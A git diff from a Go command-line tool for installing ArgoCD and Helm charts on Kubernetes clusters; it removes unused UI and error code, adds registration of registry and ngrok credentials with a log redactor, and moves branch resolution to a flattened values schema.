- }) -} - -func TestDisplayService_ShowDryRunResults(t *testing.T) { - service := NewDisplayService() - - var buf bytes.Buffer - results := []string{ - "Would install ArgoCD v8.2.7", - "Would create namespace argocd", - } - - // Should not panic - assert.NotPanics(t, func() { - service.ShowDryRunResults(&buf, results) - }) - - output := buf.String() - - // Verify that all results are included in the output (written to the buffer) - for _, result := range results { - assert.Contains(t, output, result) - } - - // Note: The header "Dry Run Results:" is printed via pterm.Info.Println - // which goes to stdout, not the provided writer, so we can't test for it in the buffer -} - -func TestDisplayService_ShowDryRunResults_EmptyResults(t *testing.T) { - service := NewDisplayService() - - var buf bytes.Buffer - results := []string{} - - assert.NotPanics(t, func() { - service.ShowDryRunResults(&buf, results) - }) - - output := buf.String() - - // With empty results, only the newline should be written to the buffer - assert.Equal(t, "\n", output) -} - -func TestDisplayService_ShowDryRunResults_SingleResult(t *testing.T) { - service := NewDisplayService() - - var buf bytes.Buffer - results := []string{"Would install single chart"} - - assert.NotPanics(t, func() { - service.ShowDryRunResults(&buf, results) - }) - - output := buf.String() - - // Should contain the single result written to the buffer - assert.Contains(t, output, "Would install single chart") -} - func TestChartTypeStrings(t *testing.T) { // Test that chart types can be converted to strings properly assert.Equal(t, "argocd", string(models.ChartTypeArgoCD)) } - -func TestDisplayService_getChartDisplayName(t *testing.T) { - service := NewDisplayService() - - tests := []struct { - name string - chartType models.ChartType - expected string - }{ - { - name: "ArgoCD chart type", - chartType: models.ChartTypeArgoCD, - expected: "ArgoCD", - }, - { - name: "Unknown chart type", - chartType: models.ChartType("unknown"), - expected: "unknown", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := service.getChartDisplayName(tt.chartType) - assert.Equal(t, tt.expected, result) - }) - } -} diff --git a/internal/chart/ui/operations.go b/internal/chart/ui/operations.go index 4dd61d5c..24a74ead 100644 --- a/internal/chart/ui/operations.go +++ b/internal/chart/ui/operations.go @@ -5,25 +5,19 @@ import ( "github.com/flamingo-stack/openframe-cli/internal/cluster/models" clusterUI "github.com/flamingo-stack/openframe-cli/internal/cluster/ui" - "github.com/flamingo-stack/openframe-cli/internal/shared/config" sharedUI "github.com/flamingo-stack/openframe-cli/internal/shared/ui" - "github.com/flamingo-stack/openframe-cli/internal/shared/ui/messages" "github.com/pterm/pterm" ) // OperationsUI provides user-friendly interfaces for chart operations type OperationsUI struct { - clusterSelector *clusterUI.Selector - credentialsPrompter *config.CredentialsPrompter - messageTemplates *messages.Templates + clusterSelector *clusterUI.Selector } // NewOperationsUI creates a new chart operations UI service func NewOperationsUI() *OperationsUI { return &OperationsUI{ - clusterSelector: clusterUI.NewSelector("chart installation"), - credentialsPrompter: config.NewCredentialsPrompter(), - messageTemplates: messages.NewTemplates(), + clusterSelector: clusterUI.NewSelector("chart installation"), } } @@ -32,72 +26,14 @@ func (ui *OperationsUI) SelectClusterForInstall(clusters []models.ClusterInfo, a return ui.clusterSelector.SelectCluster(clusters, args) } -// ShowOperationCancelled displays a consistent cancellation message for chart operations -func (ui *OperationsUI) ShowOperationCancelled(operation string) { - ui.messageTemplates.ShowOperationCancelled("cluster", operation) -} - // ShowNoClusterMessage displays a friendly message when no clusters are available func (ui *OperationsUI) ShowNoClusterMessage() { pterm.Error.Println("No clusters found. Create a cluster first with: openframe cluster create") } -// ConfirmInstallation asks for user confirmation before starting chart installation -func (ui *OperationsUI) ConfirmInstallation(clusterName string) (bool, error) { - fmt.Println() // Add blank line for better spacing - message := fmt.Sprintf("Are you sure you want to install OpenFrame chart on '%s'? It could take up to 30 minutes", clusterName) - return sharedUI.ConfirmActionInteractive(message, false) -} - -// ConfirmInstallationOnCluster asks for user confirmation with emphasis on specific cluster +// ConfirmInstallationOnCluster asks for user confirmation before starting chart installation func (ui *OperationsUI) ConfirmInstallationOnCluster(clusterName string) (bool, error) { fmt.Println() // Add blank line for better spacing message := fmt.Sprintf("Are you sure you want to install OpenFrame chart on '%s'? It could take up to 30 minutes", clusterName) return sharedUI.ConfirmActionInteractive(message, false) } - -// ShowInstallationStart displays a message when starting chart installation -func (ui *OperationsUI) ShowInstallationStart(clusterName string) { - ui.messageTemplates.ShowOperationStart("chart installation", clusterName) -} - -// ShowInstallationComplete displays a success message after chart installation -func (ui *OperationsUI) ShowInstallationComplete() { - nextSteps := []string{ - "Check ArgoCD UI: kubectl port-forward svc/argo-cd-server -n argocd 8080:443", - "Get ArgoCD password: kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath={.data.password} | base64 -d", - "View applications: kubectl get applications -n argocd", - } - ui.messageTemplates.ShowInstallationComplete("Chart", nextSteps) -} - -// ShowInstallationError displays an error message for chart installation failures -func (ui *OperationsUI) ShowInstallationError(err error) { - troubleshootingSteps := []string{ - "Check cluster status: kubectl get nodes", - "Check helm repos: helm repo list", - "Check disk space: df -h", - "Check logs: kubectl logs -n argocd -l app.kubernetes.io/name=argocd 8080:443", - } - formatter := messages.NewFormatter() - formatter.Installation().Failed("Chart", err, troubleshootingSteps) -} - -// ShowCloneProgress shows repository cloning progress -func (ui *OperationsUI) ShowCloneProgress(repoURL, branch string) { - ui.messageTemplates.ShowInfo("downloading %s (branch: %s)", repoURL, branch) -} - -// ShowCloneComplete shows cloning completion -func (ui *OperationsUI) ShowCloneComplete() { - ui.messageTemplates.ShowSuccess("Repository clone %s", "complete") -} - -// PromptForGitHubCredentials prompts the user for GitHub credentials -func (ui *OperationsUI) PromptForGitHubCredentials(repoURL string) (username, token string, err error) { - credentials, err := ui.credentialsPrompter.PromptForGitHubCredentials(repoURL) - if err != nil { - return "", "", err - } - return credentials.Username, credentials.Token, nil -} diff --git a/internal/chart/ui/operations_test.go b/internal/chart/ui/operations_test.go index 85377220..4b335e2f 100644 --- a/internal/chart/ui/operations_test.go +++ b/internal/chart/ui/operations_test.go @@ -8,15 +8,6 @@ import ( "github.com/stretchr/testify/assert" ) -// testError is a simple error implementation for testing -type testError struct { - msg string -} - -func (e *testError) Error() string { - return e.msg -} - func init() { testutil.InitializeTestMode() } @@ -125,18 +116,6 @@ func TestSelectClusterForInstall_EmptyClusterList(t *testing.T) { assert.Empty(t, selectedCluster) } -func TestShowOperationCancelled(t *testing.T) { - ui := NewOperationsUI() - - // This method outputs to terminal, we just test it doesn't panic - assert.NotPanics(t, func() { - ui.ShowOperationCancelled("chart installation") - }) - - assert.NotPanics(t, func() { - ui.ShowOperationCancelled("test operation") - }) -} func TestShowNoClusterMessage(t *testing.T) { ui := NewOperationsUI() @@ -147,90 +126,8 @@ func TestShowNoClusterMessage(t *testing.T) { }) } -func TestConfirmInstallation(t *testing.T) { - // Skip this test as it requires user interaction even in test mode - // The method is a simple wrapper around sharedUI.ConfirmActionInteractive - // which is already tested in the shared UI package - t.Skip("ConfirmInstallation requires user interaction - tested in integration tests") -} - -func TestShowInstallationStart(t *testing.T) { - ui := NewOperationsUI() - tests := []string{"test-cluster", "cluster-123", ""} - for _, clusterName := range tests { - t.Run("cluster_"+clusterName, func(t *testing.T) { - // This method outputs to terminal, we just test it doesn't panic - assert.NotPanics(t, func() { - ui.ShowInstallationStart(clusterName) - }) - }) - } -} -func TestShowInstallationComplete(t *testing.T) { - ui := NewOperationsUI() - // This method outputs to terminal, we just test it doesn't panic - assert.NotPanics(t, func() { - ui.ShowInstallationComplete() - }) -} -func TestShowInstallationError(t *testing.T) { - ui := NewOperationsUI() - - testErrors := []error{ - assert.AnError, - &testError{msg: "test error"}, - nil, // Test with nil error - } - - for i, err := range testErrors { - t.Run("error_case_"+string(rune('A'+i)), func(t *testing.T) { - // This method outputs to terminal, we just test it doesn't panic - assert.NotPanics(t, func() { - ui.ShowInstallationError(err) - }) - }) - } -} - -func TestOperationsUI_MethodsExist(t *testing.T) { - ui := NewOperationsUI() - - // Test that all expected methods exist by calling them - assert.NotNil(t, ui.SelectClusterForInstall) - assert.NotNil(t, ui.ShowOperationCancelled) - assert.NotNil(t, ui.ShowNoClusterMessage) - assert.NotNil(t, ui.ConfirmInstallation) - assert.NotNil(t, ui.ConfirmInstallationOnCluster) - assert.NotNil(t, ui.ShowInstallationStart) - assert.NotNil(t, ui.ShowInstallationComplete) - assert.NotNil(t, ui.ShowInstallationError) -} - -func TestOperationsUI_Integration(t *testing.T) { - // Test a complete flow scenario - ui := NewOperationsUI() - - clusters := []models.ClusterInfo{ - {Name: "integration-test-cluster", Status: "running"}, - } - - // Test successful cluster selection with argument - selectedCluster, err := ui.SelectClusterForInstall(clusters, []string{"integration-test-cluster"}) - assert.NoError(t, err) - assert.Equal(t, "integration-test-cluster", selectedCluster) - - // Skip confirmation test as it requires user interaction - - // Test UI methods don't panic - assert.NotPanics(t, func() { - ui.ShowInstallationStart(selectedCluster) - ui.ShowInstallationComplete() - ui.ShowOperationCancelled("test operation") - ui.ShowNoClusterMessage() - }) -} diff --git a/internal/chart/ui/templates/helm_modifier.go b/internal/chart/ui/templates/helm_modifier.go index 340c1445..96c37d85 100644 --- a/internal/chart/ui/templates/helm_modifier.go +++ b/internal/chart/ui/templates/helm_modifier.go @@ -6,6 +6,7 @@ import ( "github.com/flamingo-stack/openframe-cli/internal/chart/utils/config" "github.com/flamingo-stack/openframe-cli/internal/chart/utils/types" + "github.com/flamingo-stack/openframe-cli/internal/shared/redact" "gopkg.in/yaml.v3" ) @@ -41,9 +42,41 @@ func (h *HelmValuesModifier) LoadExistingValues(helmValuesPath string) (map[stri values = make(map[string]interface{}) } + // Every load is a credential-collection point: the file may carry the + // docker registry password and ngrok tokens. + RegisterValueSecrets(values) + return values, nil } +// RegisterValueSecrets registers the sensitive fields of a values map (docker +// registry password, ngrok API key / authtoken) with the shared redactor, so +// they can never appear in verbose command logs or command-error output no +// matter which code path echoes them (audit B5: RegisterSecret had zero call +// sites, leaving the exact-match half of the redaction system inert). +func RegisterValueSecrets(values map[string]interface{}) { + if registry, ok := values["registry"].(map[string]interface{}); ok { + if docker, ok := registry["docker"].(map[string]interface{}); ok { + if p, ok := docker["password"].(string); ok { + redact.RegisterSecret(p) + } + } + } + if deployment, ok := values["deployment"].(map[string]interface{}); ok { + if ingress, ok := deployment["ingress"].(map[string]interface{}); ok { + if ngrok, ok := ingress["ngrok"].(map[string]interface{}); ok { + if credentials, ok := ngrok["credentials"].(map[string]interface{}); ok { + for _, key := range []string{"apiKey", "authtoken"} { + if v, ok := credentials[key].(string); ok { + redact.RegisterSecret(v) + } + } + } + } + } + } +} + // LoadOrCreateBaseValues loads helm values from current directory or creates default if missing func (h *HelmValuesModifier) LoadOrCreateBaseValues() (map[string]interface{}, error) { baseHelmValuesPath := config.DefaultHelmValuesFile @@ -149,21 +182,6 @@ func (h *HelmValuesModifier) WriteValues(values map[string]interface{}, helmValu return nil } -// GetCurrentBranch extracts the current branch from Helm values (legacy method) -func (h *HelmValuesModifier) GetCurrentBranch(values map[string]interface{}) string { - // First check for deployment-specific branch - if branch := h.GetCurrentOSSBranch(values); branch != "main" { - return branch - } - // Fall back to legacy global setting - if global, ok := values["global"].(map[string]interface{}); ok { - if branch, ok := global["repoBranch"].(string); ok { - return branch - } - } - return "main" // default fallback -} - // GetCurrentOSSBranch extracts the current repository branch from the top-level // repository.branch (the flattened chart schema). func (h *HelmValuesModifier) GetCurrentOSSBranch(values map[string]interface{}) string { diff --git a/internal/chart/ui/templates/register_secrets_test.go b/internal/chart/ui/templates/register_secrets_test.go new file mode 100644 index 00000000..a64cadcd --- /dev/null +++ b/internal/chart/ui/templates/register_secrets_test.go @@ -0,0 +1,49 @@ +package templates + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/flamingo-stack/openframe-cli/internal/shared/redact" +) + +// TestLoadExistingValues_RegistersSecrets is the B5 guard for the redaction +// chokepoint: loading a values file that carries credentials must register +// them, so no later code path (verbose logs, command errors) can echo them. +// Before this, redact.RegisterSecret had ZERO call sites — the exact-match +// half of the redaction system was inert. +func TestLoadExistingValues_RegistersSecrets(t *testing.T) { + redact.ClearSecrets() + t.Cleanup(redact.ClearSecrets) + + content := ` +registry: + docker: + username: user + password: docker-pass-secret-1 +deployment: + ingress: + ngrok: + credentials: + apiKey: ngrok-api-key-secret-2 + authtoken: ngrok-authtoken-secret-3 +` + p := filepath.Join(t.TempDir(), "openframe-helm-values.yaml") + if err := os.WriteFile(p, []byte(content), 0o600); err != nil { + t.Fatal(err) + } + + if _, err := NewHelmValuesModifier().LoadExistingValues(p); err != nil { + t.Fatalf("LoadExistingValues: %v", err) + } + + line := "helm upgrade --set registry.docker.password=docker-pass-secret-1 --set ngrok.apiKey=ngrok-api-key-secret-2 --set ngrok.authtoken=ngrok-authtoken-secret-3" + got := redact.Redact(line) + for _, secret := range []string{"docker-pass-secret-1", "ngrok-api-key-secret-2", "ngrok-authtoken-secret-3"} { + if strings.Contains(got, secret) { + t.Errorf("secret %q survived redaction after loading the values file:\n%s", secret, got) + } + } +} diff --git a/internal/chart/utils/config/branch_resolution_test.go b/internal/chart/utils/config/branch_resolution_test.go index a745824f..3218dce7 100644 --- a/internal/chart/utils/config/branch_resolution_test.go +++ b/internal/chart/utils/config/branch_resolution_test.go @@ -15,24 +15,29 @@ func writeValues(t *testing.T, content string) string { return p } -const ossBranchValues = `deployment: - oss: - repository: - branch: oss-main -` - -// TestGetBranchFromHelmValuesPath covers OSS branch resolution. The CLI supports -// only the OSS (oss-tenant) deployment, so the branch is always read from -// deployment.oss.repository.branch. +// TestGetBranchFromHelmValuesPath locks branch resolution to the FLATTENED +// schema (top-level repository.branch) — the key SetRepositoryBranch writes and +// the chart consumes. The old test froze the nested legacy schema, which made +// the resolver read a key nothing else used (audit F1/T1-1: values-file branch +// silently ignored; stale legacy files overriding --ref). func TestGetBranchFromHelmValuesPath(t *testing.T) { b := &Builder{} - t.Run("oss branch is used", func(t *testing.T) { - if got := b.getBranchFromHelmValuesPath(writeValues(t, ossBranchValues)); got != "oss-main" { + t.Run("flattened repository.branch is used", func(t *testing.T) { + if got := b.getBranchFromHelmValuesPath(writeValues(t, "repository:\n branch: oss-main\n")); got != "oss-main" { t.Fatalf("got %q, want oss-main", got) } }) + t.Run("legacy nested schema is ignored", func(t *testing.T) { + // deployment.oss.repository.branch does nothing in the chart; honoring it + // here is exactly the bug that let stale files override --ref. + legacy := "deployment:\n oss:\n repository:\n branch: stale-legacy\n" + if got := b.getBranchFromHelmValuesPath(writeValues(t, legacy)); got != "" { + t.Fatalf("legacy schema must be ignored, got %q", got) + } + }) + t.Run("missing file returns empty (use default)", func(t *testing.T) { if got := b.getBranchFromHelmValuesPath("/nonexistent/openframe-helm-values.yaml"); got != "" { t.Fatalf("got %q, want empty", got) @@ -46,8 +51,30 @@ func TestGetBranchFromHelmValuesPath(t *testing.T) { }) t.Run("no branch set returns empty", func(t *testing.T) { - if got := b.getBranchFromHelmValuesPath(writeValues(t, "deployment:\n oss:\n enabled: true\n")); got != "" { + if got := b.getBranchFromHelmValuesPath(writeValues(t, "repository:\n url: something\n")); got != "" { t.Fatalf("got %q, want empty", got) } }) } + +// TestBuildInstallConfig_BranchFromValuesFile is the end-to-end F1 guard: a +// branch in the (flattened) values file must reach AppOfApps.GitHubBranch, so +// the app-of-apps clone and the children's targetRevision agree. +func TestBuildInstallConfig_BranchFromValuesFile(t *testing.T) { + b := NewBuilder(nil) + + path := writeValues(t, "repository:\n branch: develop\n") + cfg, err := b.BuildInstallConfigWithCustomHelmPath( + false, false, false, true, + "test-cluster", "https://github.com/flamingo-stack/openframe-oss-tenant", "main", "", path, + ) + if err != nil { + t.Fatal(err) + } + if cfg.AppOfApps == nil { + t.Fatal("AppOfApps config expected") + } + if cfg.AppOfApps.GitHubBranch != "develop" { + t.Fatalf("values-file branch must win over the flag default: got %q, want develop", cfg.AppOfApps.GitHubBranch) + } +} diff --git a/internal/chart/utils/config/builder.go b/internal/chart/utils/config/builder.go index 24c6d5e9..418a84e3 100644 --- a/internal/chart/utils/config/builder.go +++ b/internal/chart/utils/config/builder.go @@ -23,24 +23,21 @@ func NewBuilder(operationsUI *chartUI.OperationsUI) *Builder { } } -// HelmValues represents the structure of the Helm values file -type HelmValues struct { - Deployment struct { - OSS struct { - Enabled bool `yaml:"enabled"` - Repository struct { - Branch string `yaml:"branch"` - } `yaml:"repository"` - } `yaml:"oss"` - } `yaml:"deployment"` +// helmValues is the subset of the FLATTENED chart schema this builder consumes: +// the app-of-apps source ref lives at top-level repository.branch — the same key +// HelmValuesModifier writes (SetRepositoryBranch) and the chart itself reads. +// This struct is the single source of truth for branch resolution. The old +// nested deployment.oss.repository.branch schema is deliberately gone: reading +// it here ignored the branch the rest of the pipeline used and let stale +// legacy-schema files silently override an explicit --ref (audit F1/T1-1). +type helmValues struct { + Repository struct { + Branch string `yaml:"branch"` + } `yaml:"repository"` } -// getBranchFromHelmValues reads the Helm values file and extracts the OSS branch -func (b *Builder) getBranchFromHelmValues() string { - return b.getBranchFromHelmValuesPath("") -} - -// getBranchFromHelmValuesPath reads a specific Helm values file and extracts the OSS repository branch +// getBranchFromHelmValuesPath reads a specific Helm values file and extracts the +// flattened repository.branch (empty means "use the default/flag ref"). func (b *Builder) getBranchFromHelmValuesPath(helmValuesPath string) string { if helmValuesPath == "" { pathResolver := NewPathResolver() @@ -54,57 +51,14 @@ func (b *Builder) getBranchFromHelmValuesPath(helmValuesPath string) string { return "" } - var values HelmValues + var values helmValues err = yaml.Unmarshal(data, &values) if err != nil { // If we can't parse the YAML, return empty string (will use default) return "" } - if values.Deployment.OSS.Repository.Branch != "" { - return values.Deployment.OSS.Repository.Branch - } - - return "" // Return empty string if no branch found -} - -// BuildInstallConfig constructs the installation configuration -func (b *Builder) BuildInstallConfig( - force, dryRun, verbose bool, - clusterName, githubRepo, githubBranch, certDir string, -) (ChartInstallConfig, error) { - // Use config service for certificate directory - if certDir == "" { - certDir = b.configService.GetCertificateDirectory() - } - - // Create app-of-apps configuration if GitHub repo is provided - var appOfAppsConfig *models.AppOfAppsConfig - if githubRepo != "" { - appOfAppsConfig = models.NewAppOfAppsConfig() - appOfAppsConfig.GitHubRepo = githubRepo - appOfAppsConfig.GitHubBranch = githubBranch - appOfAppsConfig.CertDir = certDir - - // Repository is public, no credentials needed - - // After credentials are provided, check for branch override from Helm values - helmBranch := b.getBranchFromHelmValues() - if helmBranch != "" { - if verbose { - pterm.Info.Printf("📥 Using branch '%s' from Helm values\n", helmBranch) - } - appOfAppsConfig.GitHubBranch = helmBranch - } else if verbose { - pterm.Info.Printf("📥 Using default branch '%s'\n", appOfAppsConfig.GitHubBranch) - } - } - - return b.configService.BuildInstallConfig( - force, dryRun, verbose, - clusterName, - appOfAppsConfig, - ), nil + return values.Repository.Branch } // BuildInstallConfigWithCustomHelmPath constructs the installation configuration using a custom helm values file @@ -133,7 +87,10 @@ func (b *Builder) BuildInstallConfigWithCustomHelmPath( } // Check for a branch override from the custom Helm values path - // (OSS Tenant: deployment.oss.repository.branch). + // (flattened schema: top-level repository.branch). When --ref was + // explicit, buildConfiguration already pinned it into this file, so + // reading it back here keeps the clone and the child Applications' + // targetRevision on the same ref. helmBranch := b.getBranchFromHelmValuesPath(helmValuesPath) if helmBranch != "" { if verbose { diff --git a/internal/chart/utils/config/builder_test.go b/internal/chart/utils/config/builder_test.go index c53ba49a..cd632aea 100644 --- a/internal/chart/utils/config/builder_test.go +++ b/internal/chart/utils/config/builder_test.go @@ -35,10 +35,10 @@ func TestBuilder_ImplementsConfigBuilderInterface(t *testing.T) { assert.NotNil(t, builder) // Test that BuildInstallConfig method exists and works - config, err := builder.BuildInstallConfig( - false, false, false, + config, err := builder.BuildInstallConfigWithCustomHelmPath( + false, false, false, false, "test-cluster", - "", "", "", + "", "", "", "", ) assert.NoError(t, err) assert.NotNil(t, config) @@ -48,10 +48,10 @@ func TestBuilder_BuildInstallConfig_BasicConfiguration(t *testing.T) { operationsUI := chartUI.NewOperationsUI() builder := NewBuilder(operationsUI) - config, err := builder.BuildInstallConfig( - false, false, false, // force, dryRun, verbose + config, err := builder.BuildInstallConfigWithCustomHelmPath( + false, false, false, false, "test-cluster", - "", "", "", // no GitHub config + "", "", "", "", ) assert.NoError(t, err) @@ -68,10 +68,10 @@ func TestBuilder_BuildInstallConfig_WithFlags(t *testing.T) { operationsUI := chartUI.NewOperationsUI() builder := NewBuilder(operationsUI) - config, err := builder.BuildInstallConfig( - true, true, true, // force, dryRun, verbose + config, err := builder.BuildInstallConfigWithCustomHelmPath( + true, true, true, false, "production-cluster", - "", "", "", // no GitHub config + "", "", "", "", ) assert.NoError(t, err) @@ -86,10 +86,10 @@ func TestBuilder_BuildInstallConfig_WithGitHubRepo(t *testing.T) { operationsUI := chartUI.NewOperationsUI() builder := NewBuilder(operationsUI) - config, err := builder.BuildInstallConfig( - false, false, false, + config, err := builder.BuildInstallConfigWithCustomHelmPath( + false, false, false, false, "test-cluster", - "https://github.com/test/repo", "main", "", + "https://github.com/test/repo", "main", "", "", ) assert.NoError(t, err) @@ -111,10 +111,10 @@ func TestBuilder_BuildInstallConfig_WithCustomCertDir(t *testing.T) { operationsUI := chartUI.NewOperationsUI() builder := NewBuilder(operationsUI) - config, err := builder.BuildInstallConfig( - false, false, false, + config, err := builder.BuildInstallConfigWithCustomHelmPath( + false, false, false, false, "test-cluster", - "https://github.com/test/repo", "main", "/custom/cert/dir", + "https://github.com/test/repo", "main", "/custom/cert/dir", "", ) assert.NoError(t, err) @@ -126,10 +126,10 @@ func TestBuilder_BuildInstallConfig_WithoutCertDir(t *testing.T) { operationsUI := chartUI.NewOperationsUI() builder := NewBuilder(operationsUI) - config, err := builder.BuildInstallConfig( - false, false, false, + config, err := builder.BuildInstallConfigWithCustomHelmPath( + false, false, false, false, "test-cluster", - "https://github.com/test/repo", "main", "", // empty cert dir + "https://github.com/test/repo", "main", "", "", ) assert.NoError(t, err) @@ -142,10 +142,10 @@ func TestBuilder_BuildInstallConfig_AllFlags(t *testing.T) { operationsUI := chartUI.NewOperationsUI() builder := NewBuilder(operationsUI) - config, err := builder.BuildInstallConfig( - true, true, true, // all flags true + config, err := builder.BuildInstallConfigWithCustomHelmPath( + true, true, true, false, "full-config-cluster", - "https://github.com/full/config", "develop", "/full/cert/path", + "https://github.com/full/config", "develop", "/full/cert/path", "", ) assert.NoError(t, err) @@ -168,10 +168,10 @@ func TestBuilder_BuildInstallConfig_EmptyClusterName(t *testing.T) { operationsUI := chartUI.NewOperationsUI() builder := NewBuilder(operationsUI) - config, err := builder.BuildInstallConfig( - false, false, false, - "", // empty cluster name - "", "", "", + config, err := builder.BuildInstallConfigWithCustomHelmPath( + false, false, false, false, + "", + "", "", "", "", ) assert.NoError(t, err) @@ -184,10 +184,10 @@ func TestBuilder_BuildInstallConfig_CompleteGitHubCredentials(t *testing.T) { builder := NewBuilder(operationsUI) // Test with complete GitHub configuration - config, err := builder.BuildInstallConfig( - false, false, false, + config, err := builder.BuildInstallConfigWithCustomHelmPath( + false, false, false, false, "test-cluster", - "https://github.com/test/repo", "main", "", + "https://github.com/test/repo", "main", "", "", ) assert.NoError(t, err) @@ -200,10 +200,10 @@ func TestBuilder_BuildInstallConfig_PublicRepoWithCredentials(t *testing.T) { operationsUI := chartUI.NewOperationsUI() builder := NewBuilder(operationsUI) - config, err := builder.BuildInstallConfig( - false, false, false, + config, err := builder.BuildInstallConfigWithCustomHelmPath( + false, false, false, false, "minimal-cluster", - "https://github.com/minimal/repo", "feature-branch", "", + "https://github.com/minimal/repo", "feature-branch", "", "", ) assert.NoError(t, err) @@ -222,10 +222,10 @@ func TestBuilder_BuildInstallConfig_DifferentBranches(t *testing.T) { branches := []string{"main", "develop", "feature/test", "release/v1.0", "hotfix/urgent"} for _, branch := range branches { - config, err := builder.BuildInstallConfig( - false, false, false, + config, err := builder.BuildInstallConfigWithCustomHelmPath( + false, false, false, false, "branch-test-cluster", - "https://github.com/test/branches", branch, "", + "https://github.com/test/branches", branch, "", "", ) assert.NoError(t, err) @@ -249,16 +249,16 @@ func TestBuilder_MultipleBuilds(t *testing.T) { builder := NewBuilder(operationsUI) // Build multiple configurations to ensure builder is stateless - config1, err1 := builder.BuildInstallConfig( - true, false, true, + config1, err1 := builder.BuildInstallConfigWithCustomHelmPath( + true, false, true, false, "cluster-1", - "https://github.com/test/repo1", "main", "/path1", + "https://github.com/test/repo1", "main", "/path1", "", ) - config2, err2 := builder.BuildInstallConfig( - false, true, false, + config2, err2 := builder.BuildInstallConfigWithCustomHelmPath( + false, true, false, false, "cluster-2", - "https://github.com/test/repo2", "develop", "/path2", + "https://github.com/test/repo2", "develop", "/path2", "", ) assert.NoError(t, err1) diff --git a/internal/chart/utils/config/models.go b/internal/chart/utils/config/models.go index 8ced10f0..5458ecf7 100644 --- a/internal/chart/utils/config/models.go +++ b/internal/chart/utils/config/models.go @@ -6,13 +6,23 @@ import ( // ChartInstallConfig holds configuration for chart installation type ChartInstallConfig struct { - ClusterName string + ClusterName string + // KubeContext, when set, is the explicit kube-context every helm CLI call + // must target (from --context / the interactive target selector). It wins + // over the ClusterName-derived k3d context so a single install never talks + // to two clusters (audit F4). + KubeContext string Force bool DryRun bool Verbose bool Silent bool NonInteractive bool // Suppresses interactive UI elements and spinners SkipCRDs bool // Skip installation of ArgoCD CRDs + // SyncStragglersOnStall lets the application wait trigger a one-shot sync of + // OutOfSync-but-healthy stragglers when progress stalls. Set on the upgrade + // (ref-change) path: children with autoSync disabled never roll a new ref + // out by themselves, so waiting for them is provably futile (finding N3). + SyncStragglersOnStall bool // App-of-apps specific configuration AppOfApps *models.AppOfAppsConfig } diff --git a/internal/chart/utils/config/service.go b/internal/chart/utils/config/service.go index 98f74c2e..979119bc 100644 --- a/internal/chart/utils/config/service.go +++ b/internal/chart/utils/config/service.go @@ -2,7 +2,6 @@ package config import ( "os" - "path/filepath" "github.com/flamingo-stack/openframe-cli/internal/chart/models" sharedConfig "github.com/flamingo-stack/openframe-cli/internal/shared/config" @@ -27,21 +26,6 @@ func (s *Service) GetCertificateDirectory() string { return s.pathResolver.GetCertificateDirectory() } -// GetCertificateFiles returns the paths to certificate and key files -func (s *Service) GetCertificateFiles() (certFile, keyFile string) { - return s.pathResolver.GetCertificateFiles() -} - -// GetHelmValuesFile returns the path to the Helm values file -func (s *Service) GetHelmValuesFile() string { - return s.pathResolver.GetHelmValuesFile() -} - -// GetLogDirectory returns the log directory from shared config -func (s *Service) GetLogDirectory() string { - return s.systemService.GetLogDirectory() -} - // GetPathResolver returns the path resolver instance func (s *Service) GetPathResolver() *PathResolver { return s.pathResolver @@ -85,21 +69,3 @@ func (s *Service) BuildInstallConfig( AppOfApps: appOfAppsConfig, } } - -// GetDefaultManifestsPath returns the default path to manifests -func (s *Service) GetDefaultManifestsPath() string { - // Try to find manifests in the current working directory - if wd, err := os.Getwd(); err == nil { - manifestsPath := filepath.Join(wd, "internal", "chart", "manifests") - if _, err := os.Stat(manifestsPath); err == nil { - return manifestsPath - } - } - - // Fallback to home directory location - if homeDir, err := os.UserHomeDir(); err == nil { - return filepath.Join(homeDir, ".config", "openframe", "manifests") - } - - return "" -} diff --git a/internal/chart/utils/errors/chart_errors.go b/internal/chart/utils/errors/chart_errors.go index 7a263970..a1c4980d 100644 --- a/internal/chart/utils/errors/chart_errors.go +++ b/internal/chart/utils/errors/chart_errors.go @@ -17,13 +17,18 @@ type ChartError struct { RetryAfter time.Duration } -// Error implements the error interface +// Error reads as " failed for [on cluster ]: ", +// e.g. "waiting failed for ArgoCD applications on cluster dev: ...". +// +// The previous form prefixed every message with a bare "chart" — "chart waiting +// failed for ArgoCD applications" — which was ungrammatical and also wrong: the +// operation is not always on a chart (waiting is on applications). func (e *ChartError) Error() string { if e.ClusterName != "" { - return fmt.Sprintf("chart %s failed for %s on cluster %s: %v", + return fmt.Sprintf("%s failed for %s on cluster %s: %v", e.Operation, e.Component, e.ClusterName, e.Cause) } - return fmt.Sprintf("chart %s failed for %s: %v", e.Operation, e.Component, e.Cause) + return fmt.Sprintf("%s failed for %s: %v", e.Operation, e.Component, e.Cause) } // Unwrap returns the underlying error @@ -84,56 +89,10 @@ var ( ErrClusterNotReady = fmt.Errorf("cluster not ready") ErrHelmNotAvailable = fmt.Errorf("helm not available") ErrInsufficientResources = fmt.Errorf("insufficient cluster resources") - ErrNetworkTimeout = fmt.Errorf("network timeout") ErrAuthenticationFailed = fmt.Errorf("authentication failed") ErrPermissionDenied = fmt.Errorf("permission denied") ) -// InstallationError represents installation-specific errors -type InstallationError struct { - *ChartError - Phase string - StepsFailed []string - Suggestions []string -} - -// Error implements error interface for InstallationError -func (e *InstallationError) Error() string { - baseError := e.ChartError.Error() - if e.Phase != "" { - return fmt.Sprintf("%s during phase '%s'", baseError, e.Phase) - } - return baseError -} - -// GetTroubleshootingSteps returns suggested troubleshooting steps -func (e *InstallationError) GetTroubleshootingSteps() []string { - steps := []string{ - "Check cluster connectivity: kubectl cluster-info", - "Verify cluster resources: kubectl top nodes", - "Check helm installation: helm version", - } - - // Add error-specific steps - steps = append(steps, e.Suggestions...) - - return steps -} - -// NewInstallationError creates a new installation error -func NewInstallationError(component, phase string, cause error) *InstallationError { - return &InstallationError{ - ChartError: NewChartError("installation", component, cause), - Phase: phase, - } -} - -// WithSuggestions adds troubleshooting suggestions -func (e *InstallationError) WithSuggestions(suggestions []string) *InstallationError { - e.Suggestions = suggestions - return e -} - // ValidationError represents validation-specific errors type ValidationError struct { *ChartError @@ -162,71 +121,6 @@ func NewValidationError(field, value, constraint string) *ValidationError { } } -// ConfigurationError represents configuration-specific errors -type ConfigurationError struct { - *ChartError - ConfigFile string - Section string - MissingKeys []string -} - -// Error implements error interface for ConfigurationError -func (e *ConfigurationError) Error() string { - if e.ConfigFile != "" { - return fmt.Sprintf("configuration error in file '%s': %v", 